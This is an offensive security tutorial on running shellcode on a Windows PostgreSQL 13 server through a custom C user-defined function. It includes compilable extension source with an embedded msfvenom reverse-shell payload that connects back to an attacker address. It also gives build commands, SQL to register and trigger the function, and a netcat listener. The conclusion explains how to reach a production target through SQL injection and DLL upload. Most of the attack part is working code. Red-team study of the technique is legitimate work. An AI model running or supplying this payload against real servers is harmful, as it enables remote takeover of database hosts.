PostgreSQL offers developers the ability to create their own plugins, often called UDFs (User Defined Functions). In this paper, we will demonstrate how to use PostgreSQL UDFs to run malicious code (in this example, shellcode) in a compromised database (e.g., through SQL injection). It is important to note that we must have sufficient privilege to register a new UDF, which is not always the case.

Requirements

Local PostgreSQL Server

To increase the chances of successfully executing our own PostgreSQL extension, it is essential to extract the version of the target PostgreSQL server and install the exact same version in your own lab environment. In our case, we are targeting a PostgreSQL 13.1 64-bit server.

It is also important to note the target PostgreSQL architecture (in our case, x86-64). Depending on the target architecture, we will need to compile our custom extension in either 32-bit or 64-bit mode.

Installing PostgreSQL will also automatically extract the required C header files to build our own extension. This is why it is so important to compile our custom extension in an environment with the exact same version of PostgreSQL server available, as these files may change between versions.

These C header files are generally located at this path: C:\Program Files\PostgreSQL\<pg_version>\include, where pg_version is the version of PostgreSQL we want to target (in our case, version 13.x).

C Compiler

To compile our custom extension, we will need to have a C compiler installed that supports the correct architecture. We will use the MinGW C 64-bit compiler, which comes as an extra package with Cygwin. Feel free to use and adapt the build process with your favorite C compiler/IDE.

Create a very basic extension.

minimal_extension.c

#include "postgres.h" // Required postgres C header file
#include "fmgr.h" // Required postgres C header file

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC; // Used by postgresql to recognize a valid extension
#endif

/*
    Define which functions can be used by postgres. In our case just "custom_func"
*/
PGDLLEXPORT Datum custom_func(PG_FUNCTION_ARGS); 
PG_FUNCTION_INFO_V1(custom_func);

/*
    Our custom function code goes there
*/
Datum
custom_func(PG_FUNCTION_ARGS)
{
      OutputDebugStringW(L"Hello from postgresql extension.");

    PG_RETURN_VOID();
}

The above code is the minimum required to build a PostgreSQL extension. On Microsoft Windows, PostgreSQL extensions are compiled as DLL files.

To compile the extension code, run the following command:

x86_64-w64-mingw32-gcc.exe minimal_extension.c -c -o minimal_extension.o -I "C:\Program Files\PostgreSQL\13\include" -I "C:\Program Files\PostgreSQL\13\include\server" -I "C:\Program Files\PostgreSQL\13\include\server\port\win32"

The required PostgreSQL header files are located at:

• C:\Program Files\PostgreSQL\13\include
• C:\Program Files\PostgreSQL\13\include\server
• C:\Program Files\PostgreSQL\13\include\server\port\win32

To build the DLL file, run the following command:

x86_64-w64-mingw32-gcc.exe -o minimal_extension.dll -s -shared minimal_extension.o -Wl,--subsystem,windows

Load extension

To load and test the custom extension, use the PgAdmin tool to run the following custom SQL query:

CREATE OR REPLACE FUNCTION custom_func() RETURNS void AS '', 'custom_func' LANGUAGE C STRICT;

Where extension_path is the location of the DLL file.

A small popup should indicate that the query was successfully executed.

Call extension function

To call the newly registered function from the custom extension, open a privileged DebugView.exe instance and catch the OutputDebugString. Be sure to have the option Capture > Capture Global Win32 checked.

Then, run the following basic SELECT statement:

SELECT custom_func();

You should now see the message in the DebugView window:

This indicates success and the ability to replace the basic OutputDebugString with more complex code, taking advantage of the PostgreSQL extension to gain privileged access on a target machine.

Unregistering function

During the development process, you may need to patch the custom extension. However, the DLL file may be locked and unable to be patched while it is loaded by the PostgreSQL process.

To fix this, unregister the custom function declaration using the following SQL statement:

DROP FUNCTION IF EXISTS custom_func;

Then, open the Microsoft Service Manager and restart the PostgreSQL service:

This will unlock the DLL file and allow it to be patched.

Shellcode Execution

Now that you know how to create and execute code from custom extensions using PostgreSQL extension capabilities, you can create a new version of the extension to execute shellcode payloads.

Use Metasploit Msfvenom to create the payload and a classic technique to copy it to a new allocated memory region, creating a new thread to start code execution at the new location. This will prevent the current PostgreSQL thread from hanging when executing the payload.

PgShellcodeExt.c

#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC; 
#endif

// msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=172.16.20.6 LPORT=443 -f c -v payload
unsigned char payload[] =
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
    "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
    "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
    "\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xac\x10\x14\x06\x41\x54"
    "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
    "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
    "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
    "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
    "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
    "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
    "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
    "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
    "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
    "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
    "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
    "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
    "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
    "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
    "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

PGDLLEXPORT Datum shellcode(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(shellcode);

Datum
shellcode(PG_FUNCTION_ARGS)
{
    /*
        Classic method to load a shellcode in memory and create/execute a new thread at it location.
    */
    LPVOID p = VirtualAlloc(NULL, sizeof(payload), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);

    DWORD dwThreadId;

    MoveMemory(p, &payload, sizeof(payload));

    CreateThread(NULL, 0, p, NULL, 0, &dwThreadId);

    PG_RETURN_VOID();
}

x86_64-w64-mingw32-gcc.exe PgShellcodeExt.c -c -o PgShellcodeExt.o -I "C:\Program Files\PostgreSQL\13\include" -I "C:\Program Files\PostgreSQL\13\include\server" -I "C:\Program Files\PostgreSQL\13\include\server\port\win32"

x86_64-w64-mingw32-gcc.exe -o PgShellcodeExt.dll -s -shared PgShellcodeExt.o -Wl,--subsystem,windows

To start a new local netcat listener on the simulated attacker's machine, use the following command:

user@local:$ nc -lvp 443

Then, register and trigger the custom extension using the following SQL statement in PgAdmin:

-- Register new function
CREATE OR REPLACE FUNCTION shellcode() RETURNS void AS 'C:\Users\Jean-Pierre LESUEUR\Desktop\PgShellcodeExt\PgShellcodeExt.dll', 'shellcode' LANGUAGE C STRICT;

-- Trigger function
SELECT shellcode();

-- Delete function
DROP FUNCTION IF EXISTS shellcode;

By checking our local netcat listener, we can verify that we have successfully received a reverse shell.

Conclusion

This paper demonstrated how to take advantage of PostgreSQL extension capabilities to execute shellcode. However, to use this technique in a production environment, you will need to take additional steps.

• First, you will need to find a way to execute SQL queries as a privileged PostgreSQL user (required to implement new extensions). This is usually done through a SQL injection present in a vulnerable application.

• Secondly, you will need to find a way to transmit your DLL extension to the target machine. This can be done through various means, such as additional SQL statements, file uploads, shared files, etc.

Keep in mind that the steps for implementing this technique on other operating systems, such as Linux, will be similar but not identical. We may explore this further in a future paper.